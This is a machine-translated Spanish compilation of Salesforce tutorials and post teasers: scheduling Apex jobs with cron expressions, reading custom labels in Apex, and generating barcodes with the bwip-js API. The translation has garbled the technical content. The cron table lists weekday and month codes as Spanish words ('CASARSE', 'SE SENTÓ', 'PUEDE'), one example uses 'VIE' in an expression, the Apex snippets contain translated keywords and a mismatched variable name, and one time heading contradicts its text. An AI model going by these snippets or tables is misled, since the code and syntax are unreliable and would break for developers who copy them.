Programar trabajos con el programador de Apex

Salesforce Apex Scheduler es una función de la plataforma de Salesforce que le permite programar la ejecución de clases de Apex que implementa la interfaz programable en momentos específicos, como diario, semanal o mensual.
Para programar una clase con Apex Scheduler, siga los pasos que se describen a continuación:
  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Clases de Apex .
  3. Seleccione Clases de Apex y luego haga clic en Programar Apex .
  4. Ingrese la siguiente informacion:
    1. Nombre : Sincronizar cuenta con SAP
    2. Clase de Apex : ScheduleAccountSync
    3. Frecuencia : Para configurar como un trabajo diario, elija la opción Semanal y luego seleccione todos los días de la semana.
    4. Inicio : la fecha y la hora en que comenzó la iteración más reciente del trabajo programado.
    5. Fin : la fecha y la hora en que el trabajo terminó o terminará.
    6. Hora de inicio preferida : la fecha y la hora en que está programada la ejecución del trabajo
  5. Haga clic en Guardar .

👉 Puede monitorear el progreso del trabajo en la página Todos los trabajos programados .

Una limitación clave de Apex Scheduler radica en su incapacidad para ejecutar una tarea cada pocos minutos, cada seis horas o en días específicos, como el primer lunes o el último día hábil del mes. Para abordar esto, podemos utilizar el método System.schedule a través de la consola del desarrollador, que permite escenarios de programación más complejos.

Programar trabajos usando el método System.Schedule

Cuando una clase se implementa con la interfaz Schedulable , se puede usar el método System.schedule para ejecutarla. En particular, el programador opera a nivel del sistema, lo que garantiza que todas las clases se ejecuten independientemente de los permisos de los usuarios individuales.

El método System.schedule toma tres parámetros: el nombre del trabajo, una expresión que indica la hora y la fecha programadas para la ejecución del trabajo y el nombre de la clase. La estructura de la expresión cron es la siguiente:


Segundos Minutos Horas Día_de_mes Mes Día_de_semana Opcional_año

Los siguientes son los valores de la expresión:

Nombre Valores Caracteres especiales
Segundos 0–59 Ninguno
Minutos 0–59 Ninguno
Horas 0–23 , – * /
Dia del mes 1–31 , – * ? / LW
Mes 1–12 o lo siguiente:

  • ENE
  • FEB
  • MAR
  • ABR
  • PUEDE
  • JUN
  • JUL
  • AGO
  • SEP
  • OCT
  • NOV
  • DIC
, – * /
Día de la semana 1–7 o lo siguiente:

  • SOL
  • LUN
  • MAR
  • CASARSE
  • JUE
  • VIE
  • SE SENTÓ
, – * ? / L #
año_opcional nulo o 1970–2099 , – * /

Lea esta guía para desarrolladores de Salesforce para obtener más información sobre el método System.Schedule. No es posible actualizar los trabajos programados. Debe eliminar el trabajo existente y luego programarlo nuevamente.

Por ejemplo, si desea ejecutar la clase de Apex ScheduledAccountSync cada hora, específicamente cinco minutos después de cada hora, ejecute la siguiente declaración a través de Ejecutar de forma anónima en Developer Console.


System.schedule('AccountSyncJob', '0 5 * * * ?', new ScheduleAccountSync());
//AccountSyncJob = Nombre del trabajo
//0 5 * * * ? = Expresión cron
//ScheduleAccountSync = Clase de Apex con interfaz programable

También puede usar CronMaker , una aplicación simple que lo ayuda a crear expresiones cron para su escenario.

Aquí hay varios ejemplos que ilustran cómo utilizar la expresión cron.

Programe un trabajo para ejecutar cada seis horas de lunes a viernes

Para programar un trabajo para que se ejecute cada seis horas de lunes a viernes, ejecute la siguiente expresión cron:


System.schedule('AccountSyncJobWeekDayPerSixHour', '0 0 0,6,12,18 ? * MON-FRI', new ScheduleAccountSync());

Programar un trabajo para que se ejecute cada cuatro horas diariamente

Para programar un trabajo para que se ejecute cada cuatro horas diariamente, ejecute la siguiente expresión cron:


System.schedule('AccountSyncJobEveryFourHour', '0 0 0/4 * * ? *', new ScheduleAccountSync());

Programe un trabajo que se ejecute cada hora diariamente

Para programar un trabajo que se ejecuta cada hora a lo largo de cada día, utilice la siguiente expresión cron:


System.schedule('AccountSyncJobEveryHour', '0 0 0/1 * * ? *', new ScheduleAccountSync());

Programe un trabajo para que se ejecute cada 30 minutos diariamente

Para programar un trabajo que se ejecuta cada media hora todos los días, utilice la siguiente expresión cron:


System.schedule('AccountSyncJob0', '0 0 * * * ? *', new ScheduleAccountSync());
System.schedule('AccountSyncJob30', '0 30 * * * ? *', new ScheduleAccountSync());

Programe un trabajo para que se ejecute una vez al día a las 10:00 p. m.

Para programar un trabajo que se ejecute una vez al día a las 22:00, utilice la siguiente expresión cron:


System.schedule('AccountSyncJobOnceInADay', '0 0 22 * * ?', new ScheduleAccountSync());

Programe un trabajo para ejecutar el viernes y el sábado a las 11:00 p. m.

Para programar un trabajo que se ejecute los viernes y sábados a las 11:00 p. m., utilice la siguiente expresión cron:


System.schedule('AccountSyncJobVie-Sat', '0 0 23 ? * FRI,SAT *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el viernes a las 11:00 p. m.

Para programar un trabajo que se ejecute el viernes a las 11:00 a. m., utilice la siguiente expresión cron:


System.schedule('AccountSyncJobFriOnly', '0 0 23 ? * VIE *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el primer día de cada año a la 01:00 a. m.

Para programar un trabajo que se ejecuta el primer día de cada año, utilice la siguiente expresión cron:


System.schedule('AccountSyncJob-1er día del año', '0 0 1 1 1 ? *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el último día de cada mes a la 01:00 a. m.

Para programar un trabajo que se ejecute el último día de cada mes, utilice la siguiente expresión cron:


System.schedule('AccountSyncJob-Último día del mes', '0 0 1 L * ? *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el último viernes de cada mes a la 01:00 a. m.

Para programar un trabajo que se ejecute el último viernes de cada mes, utilice la siguiente expresión cron:


System.schedule('AccountSyncJob-Last Friday', '0 0 1 ? * 6L *', new ScheduleAccountSync());

Programe un trabajo para que se ejecute cada día 15 del mes a las 12:01 a. m.

Para programar un trabajo que se ejecute cada día 15 del mes, utilice la siguiente expresión cron:


System.schedule('AccountSyncJob-Every 15th', '0 1 0 15 * ? *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el primer y tercer domingo de cada mes a las 2:00 a. m.

Para programar un trabajo que se ejecute el primer y tercer domingo de cada mes, utilice la siguiente expresión cron:


System.schedule('AccountSyncJob-1st Sunday', '0 0 2 ? 1/1 SUN#1 *', new ScheduleAccountSync());
System.schedule('AccountSyncJob-3rd Sunday', '0 0 2 ? 1/1 SUN#3 *', new ScheduleAccountSync());

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Acceda dinámicamente a etiquetas personalizadas en Apex

Última actualización el 23 de mayo de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo acceder dinámicamente a la etiqueta personalizada en Apex?

Objetivos:

Después de leer este blog, podrá:

  • Acceda a la etiqueta personalizada en Apex dinámicamente
  • Acceda a la etiqueta personalizada en Apex de forma dinámica para un idioma
  • y mucho más

Ben Halpern es un desarrollador Jr. de Salesforce en Gurukul On Cloud (GoC) . Ben está escribiendo código Apex para una historia de usuario que requiere obtener la siguiente etiqueta personalizada en alemán e hindi.

Enfoque de Campeón de Automatización (I-do):

Después del lanzamiento de S ummer'23 , puede usar el método System.Label.get(namespace, label, language) para obtener una etiqueta personalizada, especificando opcionalmente un idioma . La función ahora permite la resolución dinámica de nombres de etiquetas en tiempo de ejecución, incluida la anulación del idioma actual del usuario si existe una traducción para el idioma solicitado.

También puede comprobar si existe una traducción para una etiqueta y un idioma en un espacio de nombres mediante Label.translationExists(namespace, label, language) . No puede acceder a las etiquetas que están protegidas en un espacio de nombres diferente.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Ben usando Apex y Custom Label . Debemos:

  1. Configuración del banco de trabajo de traducción
  2. Crear etiquetas personalizadas
  3. Script de Apex para acceder dinámicamente a etiquetas personalizadas

Paso 1: configurar el banco de trabajo de traducción

Este paso es opcional; sin embargo, debemos asegurarnos de que el banco de trabajo de traducción esté configurado correctamente para los requisitos actuales. Lea este artículo de ayuda para obtener instrucciones paso a paso.

Asegúrese de agregar idiomas para la traducción, asignar traductores para cada idioma y activar o desactivar las traducciones de un idioma. Agregaré mi cuenta de usuario a hindi y alemán para el caso de uso comercial actual.

Paso 2: crea etiquetas personalizadas

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Etiquetas personalizadas .
  3. Seleccione Etiquetas personalizadas y luego haga clic en Nueva etiqueta personalizada .
    1. Cree la etiqueta personalizada como se muestra en la siguiente captura de pantalla:
  4. Haga clic en Ejecutar .

Paso 2: Script de Apex para acceder dinámicamente a etiquetas personalizadas

  1. Haga clic en Configuración | Consola de desarrollador .  
  2. Usaré la herramienta Ejecutar Apex anónimo en Developer Console para ejecutar el código Apex.
    1. Un bloque anónimo es un código Apex que no se almacena en los metadatos, pero se puede compilar y ejecutar. Los bloques anónimos se ejecutan como el usuario actual y pueden fallar al compilarse si el código viola los permisos de objeto y de nivel de campo del usuario.
  3. Para abrir la ventana Ejecutar anónimo, haga clic en Depurar | Abra la ventana Ejecutar anónimo .
     String choiceInEnglish = System.Label.get('rakeshistomMVP','PreferredFoodChoice','');
    system.debug('Valor original-'+choiceInEnglish); String choiceInHindi = System.Label.get('rakeshistomMVP','PreferredFoodChoice','hi');
    system.debug('Hindi Value-'+choiceInHindi); String choiceInGerman = System.Label.get('rakeshistomMVP','PreferredFoodChoice','de');
    system.debug('Valor alemán-'+elecciónEnAlemán);
Seguir leyendo

Generar código de barras y código QR en Salesforce

Generar código de barras y código QR en Salesforce

Última actualización el 12 de mayo de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo generar código de barras y código QR en Salesforce?

Objetivos:

Después de leer este blog, podrá:

  • Comprender la diferencia entre código de barras y código QR
  • Beneficios de usar Código de Barras y Código QR
  • Genere un código de barras y muéstrelo en un campo
  • Cargar el código de barras en el archivo de Salesforce y asociarlo con el producto
  • y mucho más

Jestilla Zetkin trabaja como arquitecta de Salesforce en Gurukul On Cloud (GoC) . Mientras trabajaba en la implementación de Sales Cloud, obtuvo el requisito de generar códigos de barras. A continuación se detalla el requisito:

  1. Generar un código de barras para el código del producto
  2. Mostrar el código de barras en la página de detalles del producto
  3. Adjunte automáticamente el código de barras a la lista relacionada con el archivo en el producto.

¿Qué son el código de barras y el código QR?

Un código de barras y un código QR son tipos de códigos legibles por máquina que se utilizan para almacenar y recuperar información.

Un código de barras es una imagen cuadrada o rectangular compuesta de líneas paralelas negras y espacios en blanco. Se utiliza en tiendas para rastrear el inventario de productos, en hospitales para rastrear registros de pacientes y en el rastreo de equipaje de aerolíneas, etc.

Un código de respuesta rápida, también conocido como código QR, es un tipo de código de barras que incluye detalles legibles por máquina sobre el elemento al que está adjunto. Se utiliza para compartir datos como videos, fotos, URL web, contactos, etc.

La distinción principal entre un código de barras y un código QR es que un código de barras solo puede almacenar datos en una dimensión, mientras que un código QR puede almacenar datos en dos dimensiones.

¿Beneficios de usar código de barras y código QR?

El código de barras y el código QR brindan varias ventajas en el proceso de ventas, incluida una precisión mejorada, disponibilidad de fecha inmediata, implicaciones de bajo costo y mejor control de inventario. Beneficios de usar códigos de barras y códigos QR:

  1. Entrada de datos eficiente : los códigos de barras y los códigos QR eliminan la necesidad de la entrada manual de datos, lo que reduce los errores y aumenta la eficiencia.
  2. Gestión de inventario : ayudan a agilizar el seguimiento y la gestión del inventario al proporcionar información precisa y en tiempo real.
  3. Transacciones más rápidas : escanear códigos de barras y códigos QR acelera las transacciones en el punto de venta, lo que reduce los tiempos de espera.
  4. Fácil implementación : los códigos de barras y los códigos QR se pueden generar e imprimir fácilmente, y su escaneo se puede realizar con teléfonos inteligentes estándar o escáneres dedicados.
  5. Oportunidades de marketing mejoradas : los códigos QR, en particular, se pueden usar para atraer a los clientes con contenido interactivo, promociones y anuncios.

¿Cómo generar código de barras y código QR?

Para generar un código de barras, puede utilizar varios generadores de códigos de barras en línea o bibliotecas de programación que ofrecen funcionalidades de creación de códigos de barras.

En este artículo usaremos la API de código de barras bwip-js . La API en línea de bwip-js está alojada en una instancia Amazon AWS EC2 mediante una aplicación node.js. Puede usar esta API para generar dinámicamente imágenes de códigos de barras desde cualquier lugar de la web. La imagen devuelta está en formato PNG. No hay cargos por usar esta API y no pude encontrar ningún límite de uso.

Los dos parámetros requeridos son el tipo de código de barras y el valor a codificar. También puede agregar parámetros adicionales para rotar (permite rotar la imagen a una de las cuatro orientaciones ortogonales) e incluir texto .

Práctica guiada (nosotros hacemos):

Realice los pasos a continuación para generar un código de barras para el código del producto:

Paso 1: cree un campo de fórmula personalizada en el producto para generar y mostrar un código de barras

Ahora generaremos la imagen del código de barras usando un generador de código de barras bwip-js y mostraremos la imagen en un campo de fórmula usando la etiqueta de imagen.

  1. Haga clic en Configuración .
  2. En el Administrador de objetos, escriba Producto .
  3. Seleccione Campos y relaciones , luego haga clic en Nuevo .
  4. Seleccione Fórmula como Tipo de datos, luego haga clic en Siguiente.
  5. Ingrese la etiqueta del campo : código de barras (código del producto) y haga clic en la tecla de tabulación, se completará el nombre del campo .
    1. Tipo de devolución de fórmula : Texto
  6. Haga clic en el botón Siguiente .
    1. URL de la fórmula : IMAGEN(“ https://bwipjs-api.metafloor.com/?bcid=code39&text=”+ ProductCode +”&scale=2&rotate=N&includetext&backgroundcolor=ffffff”,”Barcode”)
  7. Establezca la seguridad a nivel de campo para los perfiles .
  8. Agregue este campo a Diseño de página .
  9. Haga clic en Guardar .

Paso 2: asociar la imagen del código de barras al archivo de Salesforce

Ahora ya sabe cómo generar la imagen del código de barras sin ningún código. El siguiente paso es cargar la imagen del código de barras en el archivo de Salesforce para generar o imprimir un PDF.

  1. La imagen devuelta de la API de código de barras bwip-js está en formato PNG. Necesitamos un código apex para recuperar el cuerpo de esta solicitud como un blob.
     Solicitud HttpRequest = new HttpRequest();
    solicitud.setEndpoint(r.imagenURL);
    solicitud.setMethod('GET');
    Enlace Http = nuevo Http();
    Respuesta HttpResponse = vinculante. enviar (solicitud);
    Imagen de blob = respuesta.getBodyAsBlob();
Seguir leyendo

Use la API REST de Tableau con Postman para diseñar integraciones ☁️

Use la API REST de Tableau con Postman para diseñar integraciones ☁️

La próxima vez que quiera hacer algo con Tableau, pero no pueda encontrar la manera con la interfaz de usuario, vaya a su confiable Postman Collection y pruebe algunos métodos a través de la API REST de Tableau.

La publicación Usar la API REST de Tableau con Postman para diseñar integraciones apareció primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Mejore el rendimiento del código con el analizador de código de Salesforce ☁️

Estamos desarrollando Salesforce Graph Engine con nuevas reglas para ayudarlo a mejorar el rendimiento de su código en la última versión 3.9 de Code Analyzer.

La publicación Aumente el rendimiento del código con Salesforce Code Analyzer apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Transmita eventos a escala con filtros de eventos y enriquecimiento de campo ☁️

Escale su uso de eventos de plataforma y eventos de captura de datos modificados con filtros de eventos y enriquecimiento de campos. Pero primero, un repaso sobre los eventos de transmisión.

La publicación Transmisión de eventos a escala con filtros de eventos y enriquecimiento de campos apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

¡Lanzamiento Spring'23 de las diez gemas principales de Salesforce Lightning Experience!

Última actualización el 9 de enero de 2023 por Rakesh Gupta Con cada lanzamiento, Salesforce agrega muchas funcionalidades nuevas a Lightning Experience, lo que lo hace más productivo y lo ayuda a brindar una mejor experiencia al cliente. Actualmente, el lanzamiento de Spring'23 se encuentra bajo el programa de prelanzamiento. Si no has leído el 570 completo

La publicación ¡Lanzamiento Spring'23 de las diez mejores gemas de Salesforce Lightning Experience! apareció primero en Automation Champion .

Seguir leyendo

Cómo generar documentos en airSlate para Salesforce

Última actualización el 27 de diciembre de 2022 por Rakesh Gupta La integración nativa de airSlate con Salesforce aborda las tareas más desafiantes para las empresas que buscan automatizar sus flujos de trabajo de documentos dentro de su organización de Salesforce. Permite crear flujos de trabajo integrales, de varios pasos y de varias sucursales dentro de Salesforce para automatizar la generación de documentos, el enrutamiento, las aprobaciones, las notificaciones y

La publicación Cómo generar documentos en airSlate para Salesforce apareció primero en Automation Champion .

Seguir leyendo

Una experiencia de desarrollador completa en Heroku, funciones de Salesforce y AWS ☁️

En Salesforce, la innovación es uno de nuestros valores fundamentales. Con eso en mente, nos comprometemos a innovar en las tecnologías de la plataforma Salesforce, como Heroku y Salesforce Functions, así como a través de nuestra asociación con AWS, para unificar y mejorar la experiencia del desarrollador. En esta publicación de blog, le brindamos una descripción general de nuestras actualizaciones recientes, nuestro […]

La publicación Una experiencia de desarrollador completa en Heroku, Salesforce Functions y AWS apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Desarrolle código aún más seguro con Salesforce Code Analyzer ☁️

Es difícil de creer, pero han pasado dos años desde que compartimos el lanzamiento 2.0 de nuestra herramienta de seguridad y calidad de código interna y de código abierto, Salesforce Code Analyzer (originalmente llamado Salesforce CLI Scanner). Ahora estamos listos para lanzar Code Analyzer versión 3.x, que reúne varias herramientas de prueba de seguridad de aplicaciones estáticas (SAST) de código abierto para ayudarlo […]

La publicación Desarrollar un código aún más seguro con Salesforce Code Analyzer apareció primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Haz lo Imposible en Apex con Funciones de Salesforce ☁️

Los desarrolladores de Apex tienen acceso a una gran cantidad de recursos que pueden ayudarlos a mejorar la calidad de su desarrollo. Pueden obtener información sobre las nuevas funciones de Trailhead. Pueden ver ejemplos de mejores prácticas en Recetas de Apex. Pueden colaborar en Trailblazer Community y Salesforce Stack Exchange. Pero hay un recurso que ha faltado […]

La publicación Haga lo imposible en Apex con funciones de Salesforce apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Haz lo Imposible en Apex con Funciones de Salesforce ☁️

Los desarrolladores de Apex tienen acceso a una gran cantidad de recursos que pueden ayudarlos a mejorar la calidad de su desarrollo. Pueden obtener información sobre las nuevas funciones de Trailhead. Pueden ver ejemplos de mejores prácticas en Recetas de Apex. Pueden colaborar en Trailblazer Community y Salesforce Stack Exchange. Pero hay un recurso que ha faltado […]

La publicación Haga lo imposible en Apex con funciones de Salesforce apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo